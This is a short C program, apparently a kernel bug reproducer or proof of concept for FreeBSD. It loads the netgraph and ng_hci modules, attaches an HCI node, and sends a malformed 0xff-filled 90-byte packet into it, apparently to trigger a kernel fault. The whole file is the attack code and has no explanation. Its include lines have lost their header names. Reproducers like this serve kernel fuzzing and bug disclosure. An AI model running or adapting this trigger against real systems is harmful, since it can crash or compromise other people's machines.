#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int main(){ system("kldload netgraph"); system("kldload ng_hci"); int cs = -1; int ds = -1; NgMkSockNode(NULL, &cs, &ds); struct ngm_mkpeer mkp; memset(&mkp, 0, sizeof(mkp)); strcpy(mkp.type, "hci"); strcpy(mkp.ourhook, "hook"); strcpy(mkp.peerhook, "drv"); if (NgSendMsg(cs, ".:", NGM_GENERIC_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) { fprintf(stderr, "netgraph mkpeer %s %s failed\n", mkp.type, mkp.peerhook); } char buf[128]; memset(buf, 0xff, sizeof(buf)); *(long long *)buf ^= 0xfdfb; NgSendData(ds, "hook", (unsigned char *)buf, 90); }